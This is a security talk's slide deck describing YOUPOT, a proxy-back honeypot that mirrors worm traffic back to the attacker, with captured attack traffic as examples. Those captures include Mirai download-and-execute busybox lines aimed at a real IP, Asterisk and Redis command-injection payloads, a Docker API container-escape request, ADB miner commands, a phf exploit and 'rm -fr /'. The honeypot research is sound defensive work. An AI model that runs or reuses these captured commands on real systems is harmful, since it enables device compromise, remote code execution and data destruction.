

# YOUPOOT



## Where the attacker is the honeypot

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# ~\$ whoami

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hobby: amateur radio operator (licensed in 1993), callsign SQ5BPF  
electronics (since forever)

making/breaking networks, unix/linux stuff, security (25+ years)

<https://github.com/sq5bpf>

this is my own hobby project, done in my free time

all opinions stated here are mine, not my employer's

# Agenda

- What are worms?
- What are honeypots?
- Let's build one
- What it found :)
- Questions

# Worms

# Worms

Automatically propagates from one system to another

Historical example: Morris worm (1988)

Entry via sendmail debug mode, fingerd buffer overflow and rsh/rexec trust

Attacked 4BSD systems

Written for fun, modern worms often written for profit: form a botnet, deploy cryptominers etc.

[https://en.wikipedia.org/wiki/Morris\\_worm](https://en.wikipedia.org/wiki/Morris_worm)

[https://en.wikipedia.org/wiki/Timeline\\_of\\_computer\\_viruses\\_and\\_worms](https://en.wikipedia.org/wiki/Timeline_of_computer_viruses_and_worms)

# Honeypots

# Honeypot

A service that looks “interesting” to poke around for would-be attackers, that allows us see they are doing.

Can't find who coined the term “Honeypot”

# Historical examples

- “An Evening with Berferd” Bill Cheswick (1991): emulates sendmail DEBUG, ftp, finger, telnet/rlogin/rsh, guest accounts
- “The Cookoo’s Egg” Clifford Stoll K7TA (1989, happened in 1986): mostly just looks at the attackers sessions in real systems (Pure honeypot), created fake accounts, with fake documents and even a fake department (Honeytokens) that later got contacted



Everyone had fun with these in the '90s :)

PHF /cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd

Fake phf scripts came out as soon as the advisory :)

It wasn't called a honeypot back then.

# Types of honeypots

- Low interaction – provide very basic emulation of a service. Easy to write/set up, safe, but won't engage an attacker for long.
- High interaction – try to provide a good emulation of a service. Harder to write/set up, safe (but greater attack surface), will engage an attacker for longer.
- Pure – real live full scale system. Harder to set up/maintain, unsafe (attacker has access to a real system), will engage an attacker for even longer.

# Example

BTW nice list (bit old) here:

<https://github.com/paralax/awesome-honeypots>

Mostly emulate one or a few services (telnet, ssh), or web.

<https://github.com/qeeqbox/honeypots> (Mysql, Postgres, Redis, VNC, MSSQL, Elastic, LDAP, NTP, Memcache, Oracle, SNMP, SIP, IRC, PJP, IPP, RDP, DHCP)

<https://github.com/thinkst/opencanary> (ftp, git, http, llmnr, mssql, mysql, ntp, portscan, rdp, redis, samba, sip, snmp, ssh, telnet, tftp, vnc)

T-Pot <https://github.com/telekom-security/tpotce> – run many single-service honeypots.

# Let's build one!

(to catch worms)

# Design objectives



# ALL THE PORTS!

- Disable everything that listens on TCP on the outside interface
- Listen on one port (for example 65534/tcp)
- Do the rest via some linux netfilter magic:

```
iptables -A INPUT -i ens192 -p tcp -j ACCEPT
```

```
iptables -t nat -A PREROUTING -i ens192 -p tcp -j REDIRECT --to-port 65534
```

# But what port?

- More linux magic to see what port the client connected to

```
#include <linux/netfilter_ipv4.h>
```

```
getsockopt (client_socket, SOL_IP, SO_ORIGINAL_DST,  
&original_sa, &addr_size);
```

```
printf("To: %s:%d\n", inet_ntoa(original_sa.sin_addr),  
ntohs(original_sa.sin_port));
```

# What services?

- Usual stuff: ssh, telnet, smtp, ftp, socks etc...
- Databases (MySQL, Oracle), kubernetes, docker etc...
- Minecraft server, asterisk VoIP etc...
- Proprietary web interfaces, unknown protocols
- Server or routers, GPON boxes, IP Camera/DVR, other IoT
- On Linux, Windows, other...
- On x86's, arm's, mips, sh4 etc....
- Everything really... not that realistic



# ALL THE SERVICES!

Oops, this is the hard part.

Ok, I lied, I'm not going to emulate them. Too hard.


End of presentation, go home.

# Remember worms?




Vulnerable telnet server on some exotic hardware

# Remember worms?




Worm looks for it

# Remember worms?



Worm gains code execution on device

# Remember worms?



Worm tries to propagate to similar devices, finds our honeypot

# Remember worms?



We don't know how to emulate it. Let's just proxy it back :)

# YOU POT



The attacker is the honeypot :)

# YOUPOT

Proxy-back honeypot:

- Connect to attacker on the same port he connected to us
- If the port is closed, also close
- Proxy data to/from the attacker back to him BYTE for BYTE
- And record it of course :)
- No need to write any service emulation
- Works with almost every TCP based protocol with little effort
- Attacker (or worm) gets exactly the service it wants
- And it's on real host, so it's a pure honeypot



# YOUPOT

Everything in /home/youpot/youpot (currently hardcoded)

Traffic saved in /home/youpot/youpot/log

directories: source\_ip/port/epochseconds\_useconds

Example: 1.2.3.4/23/1747349839\_464453

hexdump.log - hexdump

textdump.log – raw dump (including non-ascii)

connection.json – traffic dump + info in json

TODO: emulated PCAP dump

#### Connection from 1.2.3.4:34684 to port 23

>server> [len: 0x00000007 (7)]

login:

<client< [len: 0x00000006 (6)]

***rmuser43***

>server> [len: 0x0000000a (10)]

password:

<client< [len: 0x00000008 (8)]

***Niebieski7***

>server> [len: 0x00000009 (9)]

welcome!

~#

<client< [len: 0x00000009 (9)]

***rm -fr /***

#### End connection slot 2 client:[14 bytes 2 blocks] server:[48 bytes 5 blocks]

DEMO

```
{  
  "packets": [  
    { "idx": 0, "fromclient": false, "len": 7, "data": "login:\n" },  
    { "idx": 1, "fromclient": true, "len": 6, "data": "rmuser43\r\n" },  
    { "idx": 2, "fromclient": false, "len": 10, "data": "password:\n" },  
    { "idx": 3, "fromclient": true, "len": 12, "data": "Niebieski7\r\n" },  
    { "idx": 4, "fromclient": false, "len": 13, "data": "welcome!\n~ #\n" },  
    { "idx": 5, "fromclient": true, "len": 9, "data": "rm -fr ^\n" },  
    "info":{ "txblocks": 3, "txbytes": 48, "rxblocks": 3, "rxbytes": 24, "ip":  
    "1.2.3.4", "srcport": 34684, "dstport": 23, "time_start": 1747659338,  
    "time_stop": 1747659394, "time_elapsed": 56 }  
  ]  
}
```

EXAMPLE TRAFFIC

Mirai worm (lots of it!)

>server> [len: 0x00000022 (34)]

BCM96318 Broadband Router

Login:

<client< [len: 0x00000007 (7)]

support

>server> [len: 0x0000000c (12)]

Password:

<client< [len: 0x00000007 (7)]

support

```
/bin/busybox hostname whomp # useful to search in shodan
```

```
/bin/busybox echo > /tmp/.b && sh /tmp/.b && cd /tmp/
```

```
/bin/busybox echo > /var/.b && sh /var/.b && cd /var/
```

```
/bin/busybox echo > /var/run/.b && sh /var/run/.b && cd /var/run/
```

```
[...]
```

```
/bin/busybox wget http://185.196.9.228/wget.sh -O- | sh;/bin/busybox tftp -g  
185.196.9.228 -r tftp.sh -l- | sh;busybox ftpget 185.196.9.228 ftpget.sh  
ftpget.sh && sh ftpget.sh; curl http://185.196.9.228/curl.sh -o- | sh
```

```
/bin/busybox echo -ne "\x7F\x45\x4C\x46\x01\x00...." > .d # if previous fails
```

```
/bin/busybox echo -ne "...." >> .d
```

```
/bin/busybox chmod +x .d; ./d; ./dvrHelper selfrep
```

Examples of some exotic devices (these are just a small sample that was easy to ident)

Camera with Novatek SoC

ZTE F6xx router

Jungo router (Actiontek)?

GX6633H2 - some IPTV box?

various OpenWRT

Welcome to Monitor Tech. - Hisilicon DVR and Cameras

D-Link DSL-2640U

BCM96328 Broadband Router

USR-G806 JiNan Ustr IOT Technology Limited

Eltex NV-102 IPTV set top box

.... and the list goes on



>server> [len: 0x0000001e (30)]

**Asterisk Call Manager/2.10.5**

<client< [len: 0x00000049 (73)]

**Action: Login**

**ActionID: 1**

**Username: cron**

**Secret: 1234**

**Events: off**

>server> [len: 0x00000044 (68)]

**Response: Success**

**ActionID: 1**

**Message: Authentication accepted**

<client< [len: 0x00000051 (81)]

**ACTION: COMMAND**

**command: dialplan add extension 009999,1,Wait,1 into default**

>server> [len: 0x00000027 (39)]

**Response: Follows**

**Privilege: Command**

>server> [len: 0x0000007e (126)]

**Extension 009999@default with priority 1 already exists**

**Command 'dialplan add extension 009999,1,Wait,1 into default' failed.**

>server> [len: 0x00000013 (19)]

**--END COMMAND--**

<client< [len: 0x00000085 (133)]

**ACTION: COMMAND**

**command: dialplan add extension 009999,2,System,"/usr/bin/wget -P /tmp/ http://185.59.223.XX/init" into default**

## Asterisk 5038/tcp

The payload is:

#!/usr/bin/perl

# ShellBOT

# OldW0lf - oldwolf@atrix-team.org

# - www.atrix-team.org

# Stealth ShellBot Vers#1075;o 0.2 by Thiago X  
[...]

<client< [len: 0x0000020d (525)]

\*5

\$3

set

\$1

t

\$480

\*/1 \* \* \* \* root sh -c 'echo encoded\_crap... |base64 -d | sh'

\$2

ex

\$3

120

>server> [len: 0x00000005 (5)]

+OK

Redis 6379/tcp

base64 encoded script  
to download and  
execute

Other versions seen:

- eval lua script
- system.exec
- add a slave
- ...

Maybe HEADCRAB:

<https://>

[www.youtube.com/](https://www.youtube.com/)

[watch?v=-Q\\_uAFb8\\_4E](https://www.youtube.com/watch?v=-Q_uAFb8_4E)

<client< [len: 0x000002ec (748)]

Docker 2375/tcp

POST /containers/create HTTP/1.1

Quite active.

Host: 176.107.xxx.xxx:2375

Different variants.

User-Agent: Go-http-client/1.1

Content-Length: 576

This one installs tor and  
downloads/runs docker-  
init.sh script

Content-Type: application/json

```
{"Image":"alpine:latest","Cmd":["sh","-c","export IP=1.2.3.4; echo  
base64_encoded_crap | base64 -d | sh"],"Tty":true,"HostConfig":  
{"Binds":["/:/hostroot:rw"],"RestartPolicy":  
{"MaximumRetryCount":0,"Name":"always"}}}
```

server> [len: 0x00000003 (3)]

CNXN^@^@^@^A^@^P^@^@o^@^@^@8\$^@^@<BC><B1><A7><B1>**device::ro.product.name=Hi3718CV100;ro.product.model=HiSTBAndroidV5**  
**Hi3718CV100;ro.product.device=Hi3718CV100;^@**

ADB 5555/tcp

Android debug bridge

<client< [len: 0x00000034 (52)]

OPEN<A5>^H^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<B0><AF><BA><B1>**shell:pm path**  
**com.ufo.miner^@**

This is the Trinity - P2P  
Malware Over ADB

<client< [len: 0x00000056 (86)]

OPEN<A7>^H^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<B0><AF><BA><B1>**shell:am**  
**start -n com.ufo.miner/com.example.test.MainActivity^@**

[https://  
www.keysight.com/  
blogs/en/tech/nwvs/  
2020/11/22/trinityp2p-  
malware-over-adb](https://www.keysight.com/blogs/en/tech/nwvs/2020/11/22/trinityp2p-malware-over-adb)

<client< [len: 0x00000030 (48)]

OPEN<A9>^H^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@<B0><AF><BA><B1>**shell:ps**  
**| grep trinity^@**

>server> [len: 0x000000b8 (184)]

WRTEESC^@^@^@<A9>^H^@^@<A0>^@^@^@T)^@^@<A8><AD><AB><BA>**root**  
**13402 1 2484 196 c0059034 0002195c S /data/local/tmp/trinity**  
**root 13554 13402 4532 536 ffffffff 00021d3c S /data/local/tmp/trinity**

# And lots more...

Too many to mention

RDP, MS SQL Server, VNC are firewalled currently

# TLS (HTTPS)

Did i say proxy traffic BYTE for BYTE? OK, i lied :)

Helpfully TLS starts with "\x16\x03\x01"

So let's detect it, and MiTM it with some OpenSSL magic.

And send the decrypted traffic BYTE for BYTE.

# SSH

Helpfully SSH starts with "SSH-" at the beginning of connection.

So let's detect it, and launch (modified) ssh-mitm, and proxy through it.

Bad inefficient hack. But it works (sort of, good enough).

Capture: proposed public key, user/password, session/commands.

File transfer doesn't work correctly (for now).

<https://docs.ssh-mitm.at/>

DEMO



# SSH

Very interesting.

Actors using long random passwords and getting in.

Intentionally not talking about it

# IS IT JUST WORMS?

Mass scans (Internet Census etc)

Humans too :)

Too long to show here:

Attacker GETs config: GET /Settings.CFG

Logs in using decrypted credentials.

Probes around (does forensics for us):

vpn: 93.90.230.xxx,10.8.0.2,,,,,Sat Feb 15 13:56:37  
2025

ESSID/BSSID

Clients: xiaomi-vacuum-XXX yandex-mini2-XXXX S22-  
pol-zovatela-Nadezda OnePlus-10-Pro-5G

Example:

Attacker probing  
a ASUS wifi router from  
the same device.

We can watch the whole  
attack.

Attacker does forensics  
for us.

GeoIP:

217.25.230.xxx Voronezh, Voronezh Oblast, Russia (RU),  
Europe 217.25.230.0/23 394002 51.6664, 39.17 (100  
km) AO IK Informsvyaz-Chernozemye - Cable/DSL

Example:  
Attacker probing  
a wifi router.

VPN from:

93.90.230.xxx Yekaterinburg, Sverdlovsk Oblast, Russia  
(RU), Europe 93.90.224.0/21 620010 56.8469, 60.6137 (20  
km) MTS PJSC utk.ru Cellular

# BYTE for BYTE?

Ok, I lied. There is a feature to search/replace patterns

We could tweak the data just a little bit :)

# Example Mirai tweak

Change download IP:

Change 1.2.3.4 to 1.2.3,4 from client to server

Change 1.2.3,4 to 1.2.3.4 from server to client

Download fails, activates fallback mechanism:

```
/bin/busybox echo -ne "\x7F\x45\x4C\x46\x01\x00...." > .d
```

You see where this is going :)

# Example STARTTLS

Change STARTTLS to STARTWTF from server to client

Change STARTTLS to HELP WTF from client to server

Result: no STARTTLS in SMTP :)

# “Reporting tools”

None really. Only some shell magic for now

Ports caught:

```
ls -1d */* | cut -d / -f 2 | sort -u
```

Traffic grouped by port:

```
ls -1d */* | cut -d / -f 2 | sort -u | while read port; do (echo "##### $port #####"; cat */$port/*/textdump.log ) | less ; done
```

etc... Not great but good enough for me for the time being.

Python script to extract succesful SSH and telnet sessions.

BTW data is also provided to a friendly Polish institution that likes to look at such things :)



# TODO

<https://github.com/sq5bpf/youpot> (will publish soon)

TODO:

Paths currently hardcoded to /home/youpot/youpot

Written in C :)

Add more MitM protocol support (MS SQL etc)

Better reporting tools

Refactor ugly code

# Summary

YOUPOT is a novel proxy-back honeypot for worms (but will catch other stuff). Uses the attacking IP as the honeypot.

No need to implement service emulation, will work with many unknown protocols.

It's a pure honeypot, but with very low attack surface.

<https://github.com/sq5bpf/youpot> (will publish soon)

# Questions?

<https://github.com/sq5bpf/youpot>

[SQ5BPF@lipkowski.org](mailto:SQ5BPF@lipkowski.org)

Thank you for listening

VY 73

Jacek / SQ5BPF